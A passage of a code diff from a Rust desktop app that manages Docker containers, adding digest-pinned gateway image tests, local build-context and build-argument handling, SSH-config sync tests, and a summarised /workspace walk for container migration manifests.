+            .expect("tag is repo:pin-hash");
+        assert_eq!(suffix.len(), 8);
+        assert!(suffix.chars().all(|c| c.is_ascii_hexdigit()));
+    }
+
+    #[test]
+    fn registry_lookups_go_by_digest() {
+        assert_eq!(
+            registry_image_ref(),
+            format!("ghcr.io/berriai/litellm@{}", GATEWAY_REGISTRY_DIGEST)
+        );
+    }
+
+    #[test]
+    fn dockerfile_from_matches_the_registry_pin() {
+        // Local builds are tagged with the pin; that is only truthful while the
+        // Dockerfile builds FROM the same tag.
+        let from = GATEWAY_DOCKERFILE
+            .lines()
+            .find(|l| l.starts_with("FROM "))
+            .expect("Dockerfile has a FROM line");
+        let expected = format!(
+            "FROM {}:{}@{}",
+            GATEWAY_REGISTRY_REPO, GATEWAY_LITELLM_VERSION, GATEWAY_REGISTRY_DIGEST
+        );
+        assert_eq!(from.trim(), expected, "gateway Dockerfile FROM is out of lockstep with the pin");
+    }
+
+    #[test]
+    fn local_build_wins_then_registry_then_nothing() {
+        assert_eq!(
+            choose_gateway_image(Some("sha256:local".into()), Some("sha256:reg".into())),
+            Some(chosen(&local_image_ref(), "sha256:local"))
+        );
+        assert_eq!(
+            choose_gateway_image(None, Some("sha256:reg".into())),
+            Some(chosen(&registry_image_ref(), "sha256:reg"))
+        );
+        assert_eq!(choose_gateway_image(None, None), None);
+    }
+
+    #[test]
+    fn outdated_matches_what_ensure_would_recreate() {
+        let pinned = chosen(&registry_image_ref(), "sha256:new");
+        assert!(!container_image_outdated(true, Some("sha256:new"), Some(Some(&pinned))));
+        assert!(container_image_outdated(true, Some("sha256:old"), Some(Some(&pinned))));
+        // No pinned image at all: whatever runs is not it.
+        assert!(container_image_outdated(true, Some("sha256:old"), Some(None)));
+        // No container, or the check failed: don't claim it.
+        assert!(!container_image_outdated(false, None, Some(Some(&pinned))));
+        assert!(!container_image_outdated(true, Some("sha256:old"), None));
+        // A container whose image id is unknown: status and ensure agree
+        // that it isn't on the pinned image.
+        assert!(container_image_outdated(true, None, Some(Some(&pinned))));
+        assert!(needs_recreate("fp", "fp", None, Some(&pinned)));
+    }
+
+    #[test]
+    fn comment_edits_dont_change_the_local_build_tag() {
+        let a = "# about\nFROM x\n\n  # indented note\nRUN y\n";
+        let b = "# reworded\nFROM x\nRUN y\n# trailing\n";
+        assert_eq!(significant_lines(a), significant_lines(b));
+        assert_ne!(significant_lines(a), significant_lines("FROM x\nRUN z\n"));
+        // A parser directive changes the build.
+        assert_ne!(
+            significant_lines(b),
+            significant_lines(&format!("# syntax=docker/dockerfile:1.7\n{b}"))
+        );
+    }
+
+    #[test]
+    fn fingerprint_format_is_unchanged_from_earlier_versions() {
+        // What main wrote: sha256 of "shape|secret". Keeping it means the app
+        // update alone recreates nothing.
+        assert_eq!(gateway_fingerprint("shape", "1"), sha256_hex("shape|1"));
+    }
+
+    #[test]
+    fn recreate_on_config_change_or_a_present_new_pinned_image() {
+        let pinned = chosen(&registry_image_ref(), "sha256:new");
+        // Unchanged config, already on the pinned image: keep.
+        assert!(!needs_recreate("fp", "fp", Some("sha256:new"), Some(&pinned)));
+        // Pinned image present, container on another: recreate.
+        assert!(needs_recreate("fp", "fp", Some("sha256:old"), Some(&pinned)));
+        // No pinned image: keep the working gateway on its image.
+        assert!(!needs_recreate("fp", "fp", Some("sha256:old"), None));
+        // Config changed: always recreate.
+        assert!(needs_recreate("old", "fp", Some("sha256:new"), Some(&pinned)));
+        assert!(needs_recreate("old", "fp", Some("sha256:old"), None));
+    }
+
     #[test]
     fn valid_models_skips_incomplete_rows() {
         assert_eq!(settings().valid_models().len(), 1);

app/src-tauri/src/docker/image.rs

@@ -15,8 +15,16 @@ const TASK_RUNNER: &str = include_str!("../../../../container/triple-c-task-runn
 const OSC52_CLIPBOARD: &str = include_str!("../../../../container/osc52-clipboard");
 const AUDIO_SHIM: &str = include_str!("../../../../container/audio-shim");
 const SSO_REFRESH: &str = include_str!("../../../../container/triple-c-sso-refresh");
+const TRIPLE_C_OPEN: &str = include_str!("../../../../container/triple-c-open");
+const PLAYWRIGHT_HEAL: &str = include_str!("../../../../container/triple-c-playwright-heal");
 
 static MISSION_CONTROL_DIR: Dir = include_dir!("$CARGO_MANIFEST_DIR/../../container/mission-control");
+static SKILLS_DIR: Dir = include_dir!("$CARGO_MANIFEST_DIR/../../container/skills");
+// The agent crate's sources only — never the whole crate directory, which can
+// hold a multi-hundred-megabyte `target/` from a local build.
+const AGENT_CARGO_TOML: &str = include_str!("../../../../container/triple-c-agent/Cargo.toml");
+const AGENT_CARGO_LOCK: &str = include_str!("../../../../container/triple-c-agent/Cargo.lock");
+static AGENT_SRC_DIR: Dir = include_dir!("$CARGO_MANIFEST_DIR/../../container/triple-c-agent/src");
 
 pub async fn image_exists(image_name: &str) -> Result<bool, String> {
     let docker = get_docker()?;
@@ -69,25 +77,32 @@ pub async fn get_local_image_digest(image_name: &str) -> Result<Option<String>,
     Ok(None)
 }
 
+/// Split an image reference into the `fromImage` and `tag` the pull API takes.
+/// A digest reference (`repo@sha256:…`, optionally `repo:tag@sha256:…`) is
+/// pulled by digest: the API takes the digest in the `tag` field.
+fn split_image_ref(image_name: &str) -> (&str, &str) {
+    if let Some((name, digest)) = image_name.split_once('@') {
+        let repo = match name.rfind(':') {
+            Some(pos) if !name[pos + 1..].contains('/') => &name[..pos],
+            _ => name,
+        };
+        return (repo, digest);
+    }
+    match image_name.rfind(':') {
+        // The colon is part of a port (e.g., host:port/repo), not a tag.
+        Some(pos) if image_name[pos + 1..].contains('/') => (image_name, "latest"),
+        Some(pos) => (&image_name[..pos], &image_name[pos + 1..]),
+        None => (image_name, "latest"),
+    }
+}
+
 pub async fn pull_image<F>(image_name: &str, on_progress: F) -> Result<(), String>
 where
     F: Fn(String) + Send + 'static,
 {
     let docker = get_docker()?;
 
-    // Parse image name into from_image and tag
-    let (from_image, tag) = if let Some(pos) = image_name.rfind(':') {
-        // Check that the colon is part of a tag, not a port
-        let after_colon = &image_name[pos + 1..];
-        if after_colon.contains('/') {
-            // The colon is part of a port (e.g., host:port/repo)
-            (image_name, "latest")
-        } else {
-            (&image_name[..pos], after_colon)
-        }
-    } else {
-        (image_name, "latest")
-    };
+    let (from_image, tag) = split_image_ref(image_name);
 
     let options = CreateImageOptions {
         from_image,
@@ -130,10 +145,28 @@ where
 
     let tar_bytes = create_build_context().map_err(|e| format!("Failed to create build context: {}", e))?;
 
+    // The Dockerfile builds `triple-c-agent` in a stage pinned to
+    // `$BUILDPLATFORM` and cross-compiles for `$TARGETARCH`, so CI's arm64
+    // image compiles natively instead of under QEMU. BuildKit predefines both;
+    // the classic builder this API call uses does not, and an empty
+    // `--platform=` fails the build outright (verified, Engine 29.9). So pass
+    // them, describing the daemon's own platform: a local build is always
+    // native.
+    let arch = docker
+        .version()
+        .await
+        .ok()
+        .and_then(|v| v.arch)
+        .filter(|a| !a.is_empty())
+        .unwrap_or_else(|| native_docker_arch().to_string());
+    let build_platform = format!("linux/{}", arch);
+    let buildargs = local_build_args(&build_platform, &arch);
+
     let options = BuildImageOptions {
         t: full_name.as_str(),
         rm: true,
         forcerm: true,
+        buildargs,
         ..Default::default()
     };
 
@@ -184,6 +217,20 @@ fn append_embedded_dir(
     Ok(())
 }
 
+/// Docker's name for this machine's architecture, for when the daemon does
+/// not say.
+fn native_docker_arch() -> &'static str {
+    match std::env::consts::ARCH {
+        "aarch64" => "arm64",
+        "x86_64" => "amd64",
+        other => other,
+    }
+}
+
+fn local_build_args<'a>(build_platform: &'a str, arch: &'a str) -> HashMap<&'a str, &'a str> {
+    HashMap::from([("BUILDPLATFORM", build_platform), ("TARGETARCH", arch)])
+}
+
 fn create_build_context() -> Result<Vec<u8>, std::io::Error> {
     let mut buf = Vec::new();
     {
@@ -196,8 +243,14 @@ fn create_build_context() -> Result<Vec<u8>, std::io::Error> {
         append_file_to_archive(&mut archive, "osc52-clipboard", OSC52_CLIPBOARD.as_bytes(), 0o755)?;
         append_file_to_archive(&mut archive, "audio-shim", AUDIO_SHIM.as_bytes(), 0o755)?;
         append_file_to_archive(&mut archive, "triple-c-sso-refresh", SSO_REFRESH.as_bytes(), 0o755)?;
+        append_file_to_archive(&mut archive, "triple-c-open", TRIPLE_C_OPEN.as_bytes(), 0o755)?;
+        append_file_to_archive(&mut archive, "triple-c-playwright-heal", PLAYWRIGHT_HEAL.as_bytes(), 0o755)?;
 
         append_embedded_dir(&mut archive, &MISSION_CONTROL_DIR, "mission-control")?;
+        append_embedded_dir(&mut archive, &SKILLS_DIR, "skills")?;
+        append_file_to_archive(&mut archive, "triple-c-agent/Cargo.toml", AGENT_CARGO_TOML.as_bytes(), 0o644)?;
+        append_file_to_archive(&mut archive, "triple-c-agent/Cargo.lock", AGENT_CARGO_LOCK.as_bytes(), 0o644)?;
+        append_embedded_dir(&mut archive, &AGENT_SRC_DIR, "triple-c-agent/src")?;
 
         archive.finish()?;
     }
@@ -205,3 +258,244 @@ fn create_build_context() -> Result<Vec<u8>, std::io::Error> {
     let _ = buf.flush();
     Ok(buf)
 }
+
+#[cfg(test)]
+mod build_context_tests {
+    use super::{create_build_context, DOCKERFILE};
+
+    /// The local build (`ImageSource::LocalBuild`) ships the Dockerfile with a
+    /// hand-assembled context, and nothing else checks the two agree: CI builds
+    /// from the real `container/` directory, so a `COPY` of something missing
+    /// here only fails for users who build locally. That went unnoticed for
+    /// `skills`, `triple-c-open` and `triple-c-playwright-heal`. Every `COPY`
+    /// source (not `--from=` stages) must be present as a file or directory
+    /// prefix in the archive.
+    #[test]
+    fn every_dockerfile_copy_source_is_in_the_local_build_context() {
+        let tar_bytes = create_build_context().expect("context builds");
+        let mut archive = tar::Archive::new(&tar_bytes[..]);
+        let paths: Vec<String> = archive
+            .entries()
+            .unwrap()
+            .map(|e| e.unwrap().path().unwrap().to_string_lossy().into_owned())
+            .collect();
+        let mut missing = Vec::new();
+        for line in DOCKERFILE.lines() {
+            let line = line.trim();
+            let Some(rest) = line.strip_prefix("COPY ") else { continue };
+            let args: Vec<&str> = rest.split_whitespace().filter(|a| !a.starts_with("--")).collect();
+            if rest.contains("--from=") || args.len() < 2 {
+                continue;
+            }
+            for src in &args[..args.len() - 1] {
+                let src = src.trim_end_matches('/');
+                let present = paths.iter().any(|p| p == src || p.starts_with(&format!("{}/", src)));
+                if !present {
+                    missing.push(src.to_string());
+                }
+            }
+        }
+        assert!(missing.is_empty(), "COPY sources missing from the local build context: {:?}", missing);
+    }
+}
+
+#[cfg(all(test, unix))]
+mod tests {
+    use super::ENTRYPOINT;
+    use std::fs;
+    use std::path::Path;
+    use std::process::Command;
+
+    /// The `sync_host_ssh` function from `entrypoint.sh`, cut out between its
+    /// markers so it can be run against temp dirs instead of the real ~/.ssh.
+    fn sync_fn() -> &'static str {
+        let start = ENTRYPOINT.find("# >>> sync_host_ssh").expect("start marker");
+        let end = ENTRYPOINT.find("# <<< sync_host_ssh").expect("end marker");
+        &ENTRYPOINT[start..end]
+    }
+
+    fn sync(src: &Path, dest: &Path) -> String {
+        let script = format!("{}\nsync_host_ssh \"$1\" \"$2\"\n", sync_fn());
+        let out = Command::new("bash")
+            .arg("-c")
+            .arg(script)
+            .arg("sync")
+            .arg(src)
+            .arg(dest)
+            .output()
+            .expect("run bash");
+        assert!(out.status.success(), "sync failed: {}", String::from_utf8_lossy(&out.stderr));
+        String::from_utf8_lossy(&out.stdout).into_owned()
+    }
+
+    fn read(p: &Path) -> String {
+        fs::read_to_string(p).unwrap()
+    }
+
+    #[test]
+    fn container_created_keys_survive_restart() {
+        let tmp = tempfile::tempdir().unwrap();
+        let (src, dest) = (tmp.path().join("host"), tmp.path().join("ssh"));
+        fs::create_dir_all(&src).unwrap();
+        fs::write(src.join("id_host"), "host-key").unwrap();
+
+        sync(&src, &dest);
+        fs::write(dest.join("id_container"), "made-in-container").unwrap();
+        sync(&src, &dest);
+
+        assert_eq!(read(&dest.join("id_container")), "made-in-container");
+        assert_eq!(read(&dest.join("id_host")), "host-key");
+    }
+
+    #[test]
+    fn container_file_wins_over_same_named_host_file() {
+        let tmp = tempfile::tempdir().unwrap();
+        let (src, dest) = (tmp.path().join("host"), tmp.path().join("ssh"));
+        fs::create_dir_all(&src).unwrap();
+        fs::write(src.join("id_host"), "host-key").unwrap();
+        sync(&src, &dest);
+
+        fs::write(dest.join("id_ed25519"), "container-key").unwrap();
+        fs::write(src.join("id_ed25519"), "host-ed25519").unwrap();
+        let out = sync(&src, &dest);
+
+        assert_eq!(read(&dest.join("id_ed25519")), "container-key");
+        assert!(out.contains("keeping container's"), "{out}");
+    }
+
+    #[test]
+    fn host_changes_propagate_until_edited_in_container() {
+        let tmp = tempfile::tempdir().unwrap();
+        let (src, dest) = (tmp.path().join("host"), tmp.path().join("ssh"));
+        fs::create_dir_all(&src).unwrap();
+        fs::write(src.join("config"), "v1").unwrap();
+        fs::write(src.join("id_old"), "old").unwrap();
+        sync(&src, &dest);
+
+        fs::write(src.join("config"), "v2").unwrap();
+        fs::remove_file(src.join("id_old")).unwrap();
+        sync(&src, &dest);
+        assert_eq!(read(&dest.join("config")), "v2");
+        assert!(!dest.join("id_old").exists(), "host-removed, unedited file is dropped");
+
+        fs::write(dest.join("config"), "edited in container").unwrap();
+        fs::write(src.join("config"), "v3").unwrap();
+        sync(&src, &dest);
+        assert_eq!(read(&dest.join("config")), "edited in container");
+
+        fs::remove_file(src.join("config")).unwrap();
+        sync(&src, &dest);
+        assert_eq!(read(&dest.join("config")), "edited in container");
+    }
+
+    #[test]
+    fn known_hosts_is_unioned() {
+        let tmp = tempfile::tempdir().unwrap();
+        let (src, dest) = (tmp.path().join("host"), tmp.path().join("ssh"));
+        fs::create_dir_all(&src).unwrap();
+        fs::create_dir_all(&dest).unwrap();
+        fs::write(src.join("known_hosts"), "hostA key\n").unwrap();
+        fs::write(dest.join("known_hosts"), "containerB key\n").unwrap();
+
+        sync(&src, &dest);
+        let kh = read(&dest.join("known_hosts"));
+        assert!(kh.contains("hostA key") && kh.contains("containerB key"), "{kh}");
+    }
+
+    #[test]
+    fn upgrade_from_wipe_and_copy_backs_up_differing_files() {
+        // No manifest yet: the state an existing project is in on its first
+        // start with this entrypoint.
+        let tmp = tempfile::tempdir().unwrap();
+        let (src, dest) = (tmp.path().join("host"), tmp.path().join("ssh"));
+        fs::create_dir_all(&src).unwrap();
+        fs::create_dir_all(&dest).unwrap();
+        fs::write(src.join("id_rsa"), "host").unwrap();
+        fs::write(dest.join("id_rsa"), "container").unwrap();
+        fs::write(dest.join("id_extra"), "extra").unwrap();
+
+        sync(&src, &dest);
+
+        assert_eq!(read(&dest.join("id_rsa")), "host");
+        assert_eq!(read(&dest.join("id_rsa.triple-c-backup")), "container");
+        assert_eq!(read(&dest.join("id_extra")), "extra");
+    }
+
+    #[test]
+    fn nested_host_files_are_copied() {
+        let tmp = tempfile::tempdir().unwrap();
+        let (src, dest) = (tmp.path().join("host"), tmp.path().join("ssh"));
+        fs::create_dir_all(src.join("config.d")).unwrap();
+        fs::write(src.join("config.d/work"), "Host work").unwrap();
+
+        sync(&src, &dest);
+        assert_eq!(read(&dest.join("config.d/work")), "Host work");
+    }
+}
+
+#[cfg(test)]
+mod apt_refresh_tests {
+    use super::DOCKERFILE;
+
+    const BUILD_WORKFLOW: &str = include_str!("../../../../.gitea/workflows/build.yml");
+
+    /// The `RUN` instruction (with its `\` continuations) that contains `needle`.
+    fn run_containing(needle: &str) -> String {
+        let mut run = String::new();
+        let mut current = String::new();
+        for line in DOCKERFILE.lines() {
+            if line.starts_with("RUN ") {
+                current.clear();
+            }
+            current.push_str(line);
+            current.push('\n');
+            if !line.trim_end().ends_with('\\') {
+                if current.contains(needle) && current.starts_with("RUN ") {
+                    run = current.clone();
+                }
+                current.clear();
+            }
+        }
+        run
+    }
+
+    /// CI builds with `cache-from: type=gha`, so the `apt-get upgrade` layer is
+    /// only re-run when its cache key changes. An ARG changes a RUN's key only
+    /// where it is *used*, so the upgrade's RUN must reference it, after an
+    /// `ARG APT_REFRESH` declared in its stage.
+    #[test]
+    fn the_apt_upgrade_layer_is_keyed_on_apt_refresh() {
+        let arg = DOCKERFILE.find("\nARG APT_REFRESH").expect("ARG APT_REFRESH declared");
+        let run = run_containing("upgrade -y");
+        assert!(!run.is_empty(), "no RUN with apt-get upgrade");
+        assert!(DOCKERFILE.find(&run).unwrap() > arg, "ARG must come before the RUN");
+        assert!(run.contains("${APT_REFRESH"), "RUN must use APT_REFRESH: {run}");
+    }
+
+    /// …and CI must actually pass a value that changes at least weekly, and
+    /// rebuild on a schedule so a week with no commits still gets the fixes.
+    #[test]
+    fn ci_passes_a_weekly_apt_refresh_and_rebuilds_on_a_schedule() {
+        assert!(BUILD_WORKFLOW.contains("APT_REFRESH=${{ steps.apt.outputs.stamp }}"));
+        assert!(BUILD_WORKFLOW.contains("date -u +%G-W%V"));
+        assert!(BUILD_WORKFLOW.contains("schedule:"));
+        // A scheduled run must publish, a PR run must not.
+        assert!(BUILD_WORKFLOW.contains("push: ${{ gitea.event_name != 'pull_request' }}"));
+    }
+}
+
+#[cfg(test)]
+mod pull_ref_tests {
+    use super::split_image_ref;
+
+    #[test]
+    fn split_image_ref_handles_tags_ports_and_digests() {
+        assert_eq!(split_image_ref("repo:v1"), ("repo", "v1"));
+        assert_eq!(split_image_ref("repo"), ("repo", "latest"));
+        assert_eq!(split_image_ref("host:5000/repo"), ("host:5000/repo", "latest"));
+        assert_eq!(split_image_ref("host:5000/repo:v1"), ("host:5000/repo", "v1"));
+        assert_eq!(split_image_ref("ghcr.io/a/b@sha256:abc"), ("ghcr.io/a/b", "sha256:abc"));
+        assert_eq!(split_image_ref("ghcr.io/a/b:v1@sha256:abc"), ("ghcr.io/a/b", "sha256:abc"));
+        assert_eq!(split_image_ref("host:5000/b@sha256:abc"), ("host:5000/b", "sha256:abc"));
+    }
+}

app/src-tauri/src/docker/migration.rs

@@ -94,6 +94,68 @@ pub const MANIFEST_ROOTS: &[&str] = &[
     "/var/www",
 ];
 
+/// [`MANIFEST_ROOTS`] entries reported only to [`SUMMARY_DEPTH`], with every
+/// directory at that depth that holds at least one non-directory (at any depth)
+/// reported as one [`SUMMARY_KIND`] entry whose size is the sum of those
+/// files' sizes — exactly what [`verbatim_payload_bytes`] would have summed
+/// from a per-file listing. A directory holding no file is reported as a plain
+/// `d`, so the empty-tree filter still drops it.
+///
+/// **Why `/workspace`, and why it has to be.** It is the one root whose size is
+/// the user's rather than the image's: git worktrees, `node_modules`, a pnpm
+/// store and vendored trees all sit in the writable layer beside the bind
+/// mounts. A real container listed 94k entries — 8.6 MB of `find` output —
+/// under `/workspace` alone, which overflowed
+/// [`crate::docker::exec::MAX_ONESHOT_OUTPUT`] and failed the staleness check
+/// on every start and stop. Pruning by name (`node_modules`, `.git`) was
+/// measured on that container and only got it to 6.3 MB: most of it was a
+/// vendored phpMyAdmin in each of eight worktrees. Depth is what bounds it.
+///
+/// **Why summarising loses nothing.** Every per-path filter in
+/// [`compute_verbatim_paths`] is vacuous below `/workspace/<x>`: dpkg owns
+/// nothing there, no [`COPY_EXCLUSIONS`] entry is there, bind mounts are
+/// exactly `/workspace/<mount_name>` (a mount name cannot hold a `/`), and the
+/// base ships an empty `/workspace`. So the verbatim set was already pruned to
+/// first-level entries; a summary just stops listing what was going to be
+/// pruned away. Migration's `tar` still archives the directory recursively.
+///
+/// **One `find` pass, aggregated by `awk`.** The listing and the sizes come
+/// from the same walk, so they cannot disagree under concurrent writes, and
+/// `-xdev` keeps it off the bind mounts (a mount point is listed, never
+/// entered). Because the walk's presence then depends on `awk`, the pipeline
+/// prints `###SUMMARISED-OK` only when `awk` succeeded, and
+/// [`check_manifest_complete`] refuses a manifest without it — a missing
+/// `/workspace` must never read as an empty one.
+///
+/// **Why the base-presence exemption is safe.** See the check in
+/// [`compute_verbatim_paths`]; it rests on the base shipping nothing under
+/// these roots, which `the_base_ships_nothing_under_a_summarised_root` pins and
+/// which is logged loudly if it ever stops being true.
+pub const SUMMARISED_ROOTS: &[&str] = &["/workspace"];
+
+/// Depth below a [`SUMMARISED_ROOTS`] entry at which directories are
+/// summarised instead of listed. 1 would be just as correct for migration (the
+/// verbatim set prunes to first-level entries anyway); 2 keeps the immediate
+/// contents of each top-level folder visible in the manifest for debugging, at
+/// a few hundred lines on the container that overflowed.
+pub const SUMMARY_DEPTH: usize = 2;
+
+/// Marker the summarised walk prints after a successful pass, once per root.
+const SUMMARISED_OK: &str = "SUMMARISED-OK";
+
+/// [`ManifestEntry::kind`] of a summarised directory. Not a `find` `%y` letter.
+pub const SUMMARY_KIND: char = 'S';
+
+/// Output budget for one manifest exec against a running container.
+///
+/// Above [`crate::docker::exec::MAX_ONESHOT_OUTPUT`] on purpose. With
+/// [`SUMMARISED_ROOTS`] a real container's manifest is a few MB (`/usr/local`
+/// ~0.8 MB, `/var/lib` ~0.1 MB, the dpkg section a few hundred kB), but the
+/// non-summarised roots are still walked file by file and a user can install
+/// anything into `/opt`. Failing at 8 MiB cost the user every staleness check;
+/// 32 MiB keeps that rare while still bounding a container-controlled read.
+pub const MANIFEST_OUTPUT_LIMIT: usize = 32 * 1024 * 1024;
+
 /// Roots holding **state a base-image swap destroys and no replay can put
 /// back**. Reported by [`unpreserved_data`], never copied.
 ///
@@ -173,16 +235,28 @@ pub const PROBE_LABEL_MIGRATION: &str = "migration";
 /// One entry from the filesystem walk.
 #[derive(Debug, Clone, PartialEq, Eq)]
 pub struct ManifestEntry {
-    /// `find`'s `%y`: `f` regular, `d` directory, `l` symlink, …
+    /// `find`'s `%y`: `f` regular, `d` directory, `l` symlink, … — or
+    /// [`SUMMARY_KIND`] for a directory under a [`SUMMARISED_ROOTS`] entry that
+    /// was not listed file by file.
     pub kind: char,
+    /// `find`'s `%s`; for a summary, the sum of `%s` over every non-directory
+    /// beneath it, from the same pass.
     pub size: u64,
     pub path: String,
 }
 
 impl ManifestEntry {
+    /// A directory reported as itself, with nothing implied about content.
+    /// A summary is deliberately *not* one: it stands for a subtree that holds
+    /// at least one file.
     pub fn is_dir(&self) -> bool {
         self.kind == 'd'
     }
+
+    /// A directory whose contents were aggregated rather than listed.
+    pub fn is_summary(&self) -> bool {
+        self.kind == SUMMARY_KIND
+    }
 }
 
 /// Everything one probe run learned about an image or a running container.
@@ -202,6 +276,9 @@ pub struct Manifest {
     pub etc_paths: BTreeSet<String>,
     /// `package -> version` for every installed dpkg package.
     pub dpkg_versions: BTreeMap<String, String>,
+    /// How many [`SUMMARISED_ROOTS`] walks reported finishing. See
+    /// [`check_manifest_complete`].
+    pub summarised_roots_complete: usize,
 }
 
 impl Manifest {
@@ -217,18 +294,26 @@ impl Manifest {
 /// Sections are separated by sentinel lines so one exec answers every question;
 /// on a 5.49 GB image the whole thing takes about three seconds. Every command
 /// is failure-tolerant (`2>/dev/null`, no `set -e`) because a missing `npm` or
-/// an unreadable directory must degrade one section, not the run.
+/// an unreadable directory must degrade one section, not the run — with one
+/// exception, the summarised walk, whose failure [`check_manifest_complete`]
+/// turns into an error because degrading it would lose data.
 pub fn manifest_script() -> String {
     let feature_paths = FEATURE_PROBES
         .iter()
         .map(|(p, _)| shell_single_quote(p))
         .collect::<Vec<_>>()
         .join(" ");
-    let roots = MANIFEST_ROOTS
+    let plain_roots: Vec<&str> = MANIFEST_ROOTS
         .iter()
-        .map(|p| shell_single_quote(p))
+        .copied()
+        .filter(|p| !SUMMARISED_ROOTS.contains(p))
+        .collect();
+    let plain = plain_walk(&plain_roots);
+    let summarised = SUMMARISED_ROOTS
+        .iter()
+        .map(|r| summarised_walk(r))
         .collect::<Vec<_>>()
-        .join(" ");
+        .join("\necho '###PATHS'\n");
     // The dpkg grep is anchored to the manifest roots so the section stays a
     // few hundred kB instead of the ~40 MB a full ownership dump would be.
     let dpkg_filter = MANIFEST_ROOTS
@@ -239,7 +324,9 @@ pub fn manifest_script() -> String {
     format!(
         r#"
 echo '###PATHS'
-find {roots} -xdev -printf '%y\t%s\t%p\n' 2>/dev/null
+{plain}
+echo '###PATHS'
+{summarised}
 echo '###DPKG'
 cat /var/lib/dpkg/info/*.list 2>/dev/null | grep -E '^/({dpkg_filter})(/|$)'
 echo '###APT'
@@ -260,6 +347,90 @@ exit 0
     )
 }
 
+/// A per-file `find` over `roots`, or nothing at all when there are none.
+///
+/// The empty case is not cosmetic: `find -xdev …` with no starting point walks
+/// `.`, which in a probe container is `/` — the whole filesystem, straight into
+/// an output-capped manifest.
+fn plain_walk(roots: &[&str]) -> String {
+    if roots.is_empty() {
+        return String::new();
+    }
+    let roots = roots
+        .iter()
+        .map(|p| shell_single_quote(p))
+        .collect::<Vec<_>>()
+        .join(" ");
+    format!("find {} -xdev -printf '%y\\t%s\\t%p\\n' 2>/dev/null", roots)
+}
+
+/// Aggregates a per-file `find` listing of one root (`kind<TAB>size<TAB>path`)
+/// into [`SUMMARY_DEPTH`]-limited `###PATHS` lines. See [`SUMMARISED_ROOTS`].
+///
+/// Entries above the boundary are printed as they arrive; a directory *at* the
+/// boundary is held back and printed at the end — as `S` with the summed size
+/// of every non-directory beneath it, or as its own `d` line when it has none,
+/// so an empty scaffold stays empty to the filter. A deeper entry whose
+/// boundary ancestor was never seen is printed rather than dropped (it cannot
+/// happen in a pre-order walk; erring towards over-listing is the safe side).
+/// The path is everything after the second tab, so a tab in a name survives.
+/// POSIX `awk` only: the image has `mawk`.
+const SUMMARY_AWK: &str = r#"BEGIN { FS = "\t"; rl = length(root) }
+{
+  kind = $1; size = $2
+  p = $0; sub(/^[^\t]*\t[^\t]*\t/, "", p)
+  if (p == root || substr(p, 1, rl + 1) != root "/") { print; next }
+  n = split(substr(p, rl + 2), c, "/")
+  if (n < depth) { print; next }
+  key = root
+  for (i = 1; i <= depth; i++) key = key "/" c[i]
+  if (n == depth) {
+    if (kind != "d") { print; next }
+    order[++nb] = key; dsize[key] = size; files[key] = 0; bytes[key] = 0
+    next
+  }
+  if (!(key in files)) { print; next }
+  if (kind != "d") { files[key]++; bytes[key] += size }
+}
+END {
+  for (i = 1; i <= nb; i++) {
+    k = order[i]
+    if (files[k] > 0) printf "S\t%.0f\t%s\n", bytes[k], k
+    else printf "d\t%s\t%s\n", dsize[k], k
+  }
+}"#;
+
+/// The `###PATHS` lines for one [`SUMMARISED_ROOTS`] entry, from one `find`
+/// pass piped through [`SUMMARY_AWK`], then `###SUMMARISED-OK` only if `awk`
+/// succeeded.
+fn summarised_walk(root: &str) -> String {
+    format!(
+        "find {q} -xdev -printf '%y\\t%s\\t%p\\n' 2>/dev/null | awk -v root={q} -v depth={d} {prog} && echo '###{ok}'",
+        q = shell_single_quote(root),
+        d = SUMMARY_DEPTH,
+        prog = shell_single_quote(SUMMARY_AWK),
+        ok = SUMMARISED_OK,
+    )
+}
+
+/// Refuse a manifest whose summarised walk did not finish.
+///
+/// Every other section degrades on failure, and that is right for them — a
+/// missing `npm` costs the npm delta. This one cannot: the summarised walk is
+/// the *only* record of what lives under `/workspace`, so a silently absent one
+/// reads as "nothing there" and the container swap would destroy it.
+pub fn check_manifest_complete(m: &Manifest) -> Result<(), String> {
+    if m.summarised_roots_complete < SUMMARISED_ROOTS.len() {
+        return Err(format!(
+            "Could not list {} inside the container (the probe's `awk` step did not finish), \
+             so Triple-C cannot tell what an update would need to carry across.",
+            SUMMARISED_ROOTS.join(", ")
+        ));
+    }
+    Ok(())
+}
+
+
 /// Parse the output of [`manifest_script`].
 ///
 /// Unknown sections and malformed lines are skipped rather than failing: the
@@ -271,6 +442,9 @@ pub fn parse_manifest(raw: &str) -> Manifest {
     for line in raw.lines() {
         let line = line.strip_suffix('\r').unwrap_or(line);
         if let Some(name) = line.strip_prefix("###") {
+            if name == SUMMARISED_OK {
+                m.summarised_roots_complete += 1;
+            }
             section = match name {
                 "PATHS" | "DPKG" | "APT" | "NPM" | "FEATURES" | "ETC" | "PKGVER" | "END" => name,
                 _ => "",
@@ -416,7 +590,8 @@ pub fn prune_to_roots(paths: &BTreeSet<String>) -> Vec<String> {
 /// * it lives under a [`COPY_ROOTS`] entry,
 /// * it is not under a [`COPY_EXCLUSIONS`] entry or a bind-mount target,
 /// * neither image's dpkg database owns it,
-/// * the current base image does not already have it.
+/// * the current base image does not already have it (a [`SUMMARY_KIND`]
+///   entry is exempt from this one — see the comment at the check).
 ///
 /// The result is then pruned to subtree roots. An empty result means the copy
 /// step is skipped entirely.
@@ -446,7 +621,24 @@ pub fn compute_verbatim_paths(
         if from.dpkg_owned.contains(p) || base.dpkg_owned.contains(p) {
             continue;
         }
-        if base_paths.contains(p) {
+        // Not for a summary: "the base already has this path" is a per-path
+        // judgment, and a summary hides which paths are inside it. Skipping one
+        // would drop every user file under any subtree the base happens to ship
+        // too. Copying it is safe — the restore's `--skip-old-files` keeps the
+        // base's copy of anything both have, which is the per-file answer.
+        // What it cannot do is notice base content the new base *removed*, so
+        // this rests on the base shipping nothing under a summarised root —
+        // pinned by `the_base_ships_nothing_under_a_summarised_root`, and said
+        // out loud here if a base ever breaks it.
+        if base_paths.contains(p) && entry.is_summary() {
+            log::warn!(
+                "The base image ships {}, which this manifest only summarises — copying the \
+                 container's whole subtree and relying on --skip-old-files to keep the base's \
+                 files. SUMMARISED_ROOTS assumes the base ships nothing there; revisit it.",
+                p
+            );
+        }
+        if base_paths.contains(p) && !entry.is_summary() {
             continue;
         }
         candidates.insert(entry.path.clone());
@@ -1061,7 +1253,29 @@ pub async fn manifest_from_image(image: &str) -> Result<Manifest, String> {
             }
         ));
     }
-    Ok(parse_manifest(&out.stdout))
+    let m = parse_manifest(&out.stdout);
+    check_manifest_complete(&m)?;
+    Ok(m)
+}
+
+/// Turn a manifest exec's failure into something the user can act on.
+///
